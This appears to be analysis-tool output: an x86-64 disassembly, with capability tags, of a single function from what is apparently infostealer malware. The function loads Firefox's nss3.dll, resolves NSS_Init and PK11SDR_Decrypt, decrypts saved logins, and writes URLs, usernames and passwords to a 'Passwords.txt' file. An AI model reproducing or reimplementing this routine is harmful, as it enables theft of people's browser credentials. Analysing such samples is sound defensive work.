Function at 0x140033c80
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x460
mov rax, qword [0x140342fc0]
xor rax, rsp
mov qword [rsp + 0x458], rax
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x130], xmm1
lea r8d, [rdi + 0x33]
lea rdx, str.92_80_97_115_115_119_111_114_100_115_46_116_120_116
lea rcx, [rsp + 0x120]
call fcn.140039770
nop
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x1e8]
call fcn.140031450
nop
mov rdx, qword [rsp + 0x138]
cmp rdx, 7
jbe 0x140033d43
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033d3e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035027
call fcn.14025e770
lea rdx, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 0xf
cmova rdx, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f8]
add r8, rdx
lea rdx, [rsp + 0x1e8]
cmp qword [rsp + 0x200], 0xf
cmova rdx, qword [rsp + 0x1e8]
lea rcx, [rsp + 0x430]
call fcn.14005b140
nop
lea r8, [0x14035d6f0]
cmp qword [0x14035d708], 7
cmova r8, qword [0x14035d6f0]
mov r9, qword [0x14035d700]
mov rcx, rax
call fcn.140069d00
xorps xmm0, xmm0
movups xmmword [rsp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x150], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x140], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x150], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rsp + 0x448]
cmp rdx, 7
jbe 0x140033e3b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x430]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140033e36
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034f8e
call fcn.14025e770
movdqa xmm0, xmmword [0x1402f99c0]
movdqu xmmword [rsp + 0x440], xmm0
mov word [rsp + 0x430], di
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x320]
call fcn.14029f290
lea rdx, [rsp + 0x140]
cmp qword [rsp + 0x158], 7
cmova rdx, qword [rsp + 0x140]
lea rcx, [rsp + 0x320]
call fcn.14004ac20
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x320], r15
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x31c], edx
cmp qword [rsp + 0x3a8], 0
je 0x140034e30
lea rcx, [rsp + 0x120]
call fcn.140033150
nop
mov rsi, qword [rsp + 0x130]
test rsi, rsi
je 0x140034dec
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rdi
lea r14, [rsp + 0x120]
cmp qword [rsp + 0x138], 0xf
cmova r14, qword [rsp + 0x120]
movabs rbx, 0x7fffffffffffffff
cmp rsi, rbx
ja 0x140034f94
cmp rsi, 0xf
ja 0x140033f54
mov qword [rsp + 0x60], rsi
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x68], rdx
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x50], xmm0
jmp 0x140033fed
mov rax, rsi
or rax, 0xf
cmp rax, rbx
jbe 0x140033f90
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14025e8a8
mov rcx, rax
test rax, rax
je 0x140034fa0
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140033fca
mov rbx, rax
mov ecx, reloc.WS2_32.dll_shutdown
cmp rax, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140033fbb
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140034f9a
jmp 0x140033f6e
test rcx, rcx
je 0x140033fc7
call fcn.14025e8a8
jmp 0x140033fca
mov rax, rdi
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rbx
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call fcn.14029ebf0
mov rdx, qword [rsp + 0x68]
movsd xmm0, qword [str.nss3.dll]
movsd qword [rsp + 0x430], xmm0
movzx eax, byte [0x1402f64e8]
mov byte [rsp + 0x438], al
lea rcx, [rsp + 0x50]
cmp rdx, 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, [rsp + 0x430]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
mov rdx, qword [rsp + 0x68]
test rax, rax
jne 0x140034079
cmp rdx, 0xf
jbe 0x140034074
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003406f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034fa6
call fcn.14025e770
mov rbx, rdi
jmp 0x1400340b1
cmp rdx, 0xf
jbe 0x1400340b1
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400340ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034fa6
call fcn.14025e770
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x50], 0
test rbx, rbx
je 0x140034d98
lea rdx, str.NSS_Init
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14035d438], rax
lea rdx, str.PL_Base64Decode
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14035d450], rax
lea rdx, str.PK11SDR_Decrypt
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14035d448], rax
lea rdx, str.PK11_Authenticate
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14035d430], rax
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14035d420], rax
lea rdx, str.PK11_FreeSlot
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14035d440], rax
lea rdx, str.NSS_Shutdown
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14035d428], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1d0], xmm0
mov qword [rsp + 0x1e0], rax
lea rcx, [rsp + 0x1d0]
call fcn.140033480
nop
mov r12, qword [rsp + 0x1d0]
mov rax, qword [rsp + 0x1d8]
cmp r12, rax
je 0x140034d8b
mov qword [rsp + 0x80], rax
movabs r15, 0x2aaaaaaaaaaaaaab
mov qword [rsp + 0x70], r12
cmp r12, qword [rsp + 0x80]
je 0x140034d84
mov r14, r12
mov qword [rsp + 0x88], r12
mov r13, r12
mov rax, qword [0x14035d438]
mov rcx, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x1400341f3
mov rcx, qword [r12]
call rax
test eax, eax
jne 0x140034d3b
mov rdx, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x14003420c
mov rdx, qword [r12]
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0xa8], rdi
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], 0
jne 0x140034230
lea rcx, [rsp + 0x90]
call fcn.140011f20
lea rcx, [rsp + 0x90]
call fcn.140032c30
xorps xmm0, xmm0
movups xmmword [rsp + 0xd8], xmm0
mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xf0], rdi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140034276
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.140011f20
nop
cmp qword [rsp + 0xe8], 0
je 0x140034d44
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2f8], xmm0
movups xmmword [rsp + 0x308], xmm0
mov qword [rsp + 0x318], rax
lea rdx, str._hostname_:_______
lea rcx, [rsp + 0x2f8]
call fcn.140042140
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2d0], xmm0
movups xmmword [rsp + 0x2e0], xmm0
mov qword [rsp + 0x2f0], rax
lea rdx, str._encryptedUsername_:_______
lea rcx, [rsp + 0x2d0]
call fcn.140042140
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x2a8], xmm0
movups xmmword [rsp + 0x2b8], xmm0
mov qword [rsp + 0x2c8], rax
lea rdx, str._encryptedPassword_:_______
lea rcx, [rsp + 0x2a8]
call fcn.140042140
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x160], xmm0
movups xmmword [rsp + 0x190], xmm0
movups xmmword [rsp + 0x1b0], xmm0
movups xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x160], rdi
mov byte [rsp + 0x168], 0
movdqa xmmword [rsp + 0x170], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x180], xmm1
mov qword [rsp + 0x190], rdi
mov byte [rsp + 0x198], 0
movdqa xmmword [rsp + 0x1a0], xmm0
mov byte [rsp + 0x1b0], 0
mov qword [rsp + 0x1b8], rdi
mov qword [rsp + 0x1c0], rdi
mov byte [rsp + 0x1c8], 0
lea rbx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 0xf
cmova rbx, qword [rsp + 0xd8]
mov qword [rsp + 0x118], rbx
nop dword [rax]
lea rcx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 0xf
cmova rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe8]
add rdx, rcx
mov qword [rsp + 0x28], rbx
lea r9, [rsp + 0x2f8]
lea r8, [rsp + 0x160]
mov rcx, rbx
call fcn.14005e9a0
test al, al
je 0x140034c23
lea rdx, str.BROWSER_NAME_:
lea rcx, [rsp + 0x320]
call fcn.140053ef0
lea rdx, str.Mozilla_Firefox_Browser
mov rcx, rax
call fcn.140053ef0
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, rax
call fcn.140053ef0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x280], xmm0
movups xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a0], rax
lea rdx, str._______
lea rcx, [rsp + 0x280]
call fcn.140042140
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
movups xmmword [rsp + 0x240], xmm0
movups xmmword [rsp + 0x260], xmm0
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x210], rdi
mov byte [rsp + 0x218], 0
movdqa xmmword [rsp + 0x220], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x230], xmm1
mov qword [rsp + 0x240], rdi
mov byte [rsp + 0x248], 0
movdqa xmmword [rsp + 0x250], xmm0
mov byte [rsp + 0x260], 0
mov qword [rsp + 0x268], rdi
mov qword [rsp + 0x270], rdi
mov byte [rsp + 0x278], 0
mov r8, r14
mov rcx, qword [r14 + 0x18]
cmp rcx, 0xf
jbe 0x140034528
mov r8, qword [r14]
mov rdx, qword [r13 + 0x10]
add rdx, r8
jmp 0x140034538
mov rdx, qword [r14 + 0x10]
add rdx, r14
mov rax, r14
cmp rcx, 0xf
jbe 0x14003453b
mov rax, qword [r14]
mov qword [rsp + 0x28], r8
lea r9, [rsp + 0x280]
lea r8, [rsp + 0x210]
mov rcx, rax
call fcn.14005e9a0
test al, al
je 0x14003473b
mov rcx, qword [rsp + 0x228]
sub rcx, qword [rsp + 0x220]
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rsp + 0x268]
cmovne rax, qword [rsp + 0x220]
cmp byte [rax + 0x10], 0
je 0x1400345a8
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x430], xmm0
jmp 0x1400345b4
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x430], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
mov rdx, qword [rsp + 0x430]
mov r8, qword [rsp + 0x438]
cmp rdx, r8
jne 0x1400345f0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
jmp 0x1400345fe
sub r8, rdx
lea rcx, [rsp + 0x30]
call fcn.140011f20
nop
mov r9d, 8
lea r8, [0x1402f66c0]
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140069e00
xorps xmm0, xmm0
movups xmmword [rsp + 0xf8], xmm0
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rdi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xf8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x108], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140034695
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034690
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034fac
call fcn.14025e770
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
lea rdx, str.PROFILE_:
lea rcx, [rsp + 0x320]
call fcn.140053ef0
lea rdx, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0xf
cmova rdx, qword [rsp + 0xf8]
mov r8, qword [rsp + 0x108]
mov rcx, rax
call fcn.140071810
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, rax
call fcn.140053ef0
nop
mov rdx, qword [rsp + 0x110]
cmp rdx, 0xf
jbe 0x14003476d
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034734
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034fb2
call fcn.14025e770
jmp 0x14003476d
lea rdx, str.PROFILE_:
lea rcx, [rsp + 0x320]
call fcn.140053ef0
lea rdx, str.UKNOWN
mov rcx, rax
call fcn.140053ef0
lea rdx, reloc.WS2_32.dll_ioctlsocket
mov rcx, rax
call fcn.140053ef0
lea rdx, str.__________________________________________n
lea rcx, [rsp + 0x320]
call fcn.140053ef0
lea rdx, str.URL:
lea rcx, [rsp + 0x320]
call fcn.140053ef0
mov rsi, rax
mov rcx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x170]
sub rcx, r8
mov rax, r15
imul rcx
sar rdx, 2
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
cmp rdx, 1
lea rax, [rsp + 0x1b8]
jbe 0x1400347d1
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x1400347e4
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x430], xmm0
jmp 0x1400347f0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x430], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rdi
mov rdx, qword [rsp + 0x430]
mov r8, qword [rsp + 0x438]
cmp rdx, r8
jne 0x14003482d
mov qword [rsp + 0x40], rdi
mov eax, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x30], 0
jmp 0x14003483f
sub r8, rdx
lea rcx, [rsp + 0x30]
call fcn.140011f20
mov rax, qword [rsp + 0x48]
lea rcx, [rsp + 0x30]
cmp rax, 0xf
cmova rcx, qword [rsp + 0x30]
call fcn.140033b60
mov rdx, rax
mov rcx, rsi
call fcn.140053ef0
lea rdx, [0x1402f66fc]
mov rcx, rax
call fcn.140053ef0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400348ab
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400348a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034fb8
call fcn.14025e770
lea rcx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 0xf
cmova rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe8]
add rdx, rcx
mov qword [rsp + 0x28], rbx
lea r9, [rsp + 0x2d0]
lea r8, [rsp + 0x160]
mov rcx, rbx
call fcn.14005e9a0
mov rcx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x170]
sub rcx, r8
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 1
lea rax, [rsp + 0x1b8]
jbe 0x140034926
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x140034939
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x430], xmm0
jmp 0x140034945
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x430], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0xf8], xmm0
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rdi
mov rdx, qword [rsp + 0x430]
mov r8, qword [rsp + 0x438]
cmp rdx, r8
jne 0x14003498b
mov qword [rsp + 0x110], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0xf8], 0
jmp 0x14003499b
sub r8, rdx
lea rcx, [rsp + 0xf8]
call fcn.140011f20
lea rcx, [rsp + 0xf8]
call fcn.140032f30
mov rcx, rax
call fcn.140033b60
mov rsi, rax
lea rdx, str.USERNAME:
lea rcx, [rsp + 0x320]
call fcn.140053ef0
mov rdx, rsi
mov rcx, rax
call fcn.140053ef0
lea rdx, [0x1402f66fc]
mov rcx, rax
call fcn.140053ef0
lea rcx, [rsp + 0xd8]
cmp qword [rsp + 0xf0], 0xf
cmova rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0xe8]
add rdx, rcx
mov qword [rsp + 0x28], rbx
lea r9, [rsp + 0x2a8]
lea r8, [rsp + 0x160]
mov rcx, rbx
call fcn.14005e9a0
mov rcx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x170]
sub rcx, r8
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 1
lea rax, [rsp + 0x1b8]
jbe 0x140034a5c
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x140034a6f
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x430], xmm0
jmp 0x140034a7b
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x430], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0xf8], xmm0
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rdi
mov rdx, qword [rsp + 0x430]
mov r8, qword [rsp + 0x438]
cmp rdx, r8
jne 0x140034ac1
mov qword [rsp + 0x110], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0xf8], 0
jmp 0x140034ad1
sub r8, rdx
lea rcx, [rsp + 0xf8]
call fcn.140011f20
lea rcx, [rsp + 0xf8]
call fcn.140032f30
mov rcx, rax
call fcn.140033b60
mov rsi, rax
lea rdx, str.PASSWORD:
lea rcx, [rsp + 0x320]
call fcn.140053ef0
mov rdx, rsi
mov rcx, rax
call fcn.140053ef0
lea rdx, [0x1402f66fc]
mov rcx, rax
call fcn.140053ef0
lea rdx, str.__________________________________________n
lea rcx, [rsp + 0x320]
call fcn.140053ef0
mov rcx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x170]
sub rcx, r8
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
jne 0x140034b66
mov rcx, qword [rsp + 0x1b8]
lea r8, [rsp + 0x1b8]
jmp 0x140034b69
mov rcx, qword [r8]
sub rcx, qword [rsp + 0x160]
cmp byte [r8 + 0x10], 0
je 0x140034b86
movups xmm0, xmmword [r8]
movups xmmword [rsp + 0x430], xmm0
jmp 0x140034b92
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x430], xmm0
mov rax, qword [rsp + 0x438]
sub rax, qword [rsp + 0x430]
add rax, rcx
add rbx, rax
mov qword [rsp + 0x118], rbx
lea rcx, [rsp + 0x220]
call fcn.140040d90
nop
lea rcx, [rsp + 0x280]
call fcn.14004c220
mov rcx, qword [rsp + 0x2a0]
test rcx, rcx
je 0x140034bf5
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140034bf5
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
jmp 0x1400343e0
lea rcx, [rsp + 0x170]
call fcn.140040d90
nop
lea rcx, [rsp + 0x2a8]
call fcn.14004c220
mov rcx, qword [rsp + 0x2c8]
test rcx, rcx
je 0x140034c68
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140034c68
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
lea rcx, [rsp + 0x2d0]
call fcn.14004c220
mov rcx, qword [rsp + 0x2f0]
test rcx, rcx
je 0x140034c9f
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140034c9f
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
lea rcx, [rsp + 0x2f8]
call fcn.14004c220
mov rcx, qword [rsp + 0x318]
test rcx, rcx
je 0x140034cd5
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x140034cd5
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
call qword [0x14035d428]
nop
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x140034d1f
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034d1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034fbe
call fcn.14025e770
mov qword [rsp + 0xe8], rdi
mov qword [rsp + reloc.WS2_32.dll_ntohs0], 0xf
mov byte [rsp + 0xd8], 0
add r12, 0x20
jmp 0x1400341bc
mov rdx, qword [rsp + 0xf0]
cmp rdx, 0xf
jbe 0x140034d1f
inc rdx
mov rcx, qword [rsp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034d1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140034fbe
jmp 0x140034d1a
lea r15, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea rcx, [rsp + 0x1d0]
call fcn.140043570
lea rcx, [rsp + 0x328]
call fcn.14004beb0
test rax, rax
jne 0x140034dec
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rsp + rcx + 0x368], 0
cmovne eax, edx
or eax, dword [rsp + rcx + 0x330]
and eax, 0x17
mov dword [rsp + rcx + 0x330], eax
mov edx, dword [rsp + rcx + 0x334]
and edx, eax
jne 0x140034fc4
mov rdx, qword [rsp + 0x138]
cmp rdx, 0xf
jbe 0x140034e30
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034e2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035021
call fcn.14025e770
nop
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x320], r15
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x31c], edx
lea rcx, [rsp + 0x328]
call fcn.140041af0
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x320], rax
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x31c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x3c8], rax
lea rcx, [rsp + 0x3c8]
call fcn.140242ad4
nop
mov rdx, qword [rsp + 0x158]
cmp rdx, 7
jbe 0x140034f00
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034efb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140035027
call fcn.14025e770
movdqa xmm0, xmmword [0x1402f99c0]
movdqu xmmword [rsp + 0x150], xmm0
mov word [rsp + 0x140], di
mov rdx, qword [rsp + 0x200]
cmp rdx, 0xf
jbe 0x140034f5c
inc rdx
mov rcx, qword [rsp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034f57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003502d
call fcn.14025e770
mov rcx, qword [rsp + 0x458]
xor rcx, rsp
call fcn.14025e750
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.14027aed0
nop
call fcn.1400034c0
int3
call fcn.140003420
int3
call fcn.14027aed0
int3
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
int3
call fcn.14027aed0
nop
call fcn.14027aed0
nop
test dl, 4
je 0x140034fd2
lea rbx, str.ios_base::badbit_set
jmp 0x140034fe7
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x430]
call fcn.1400038a0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0xb0]
call fcn.1400052f0
lea rdx, [0x14033ae70]
lea rcx, [rsp + 0xb0]
call fcn.140260b78
nop
call fcn.14027aed0
nop
call fcn.14027aed0
nop
call fcn.14027aed0
int3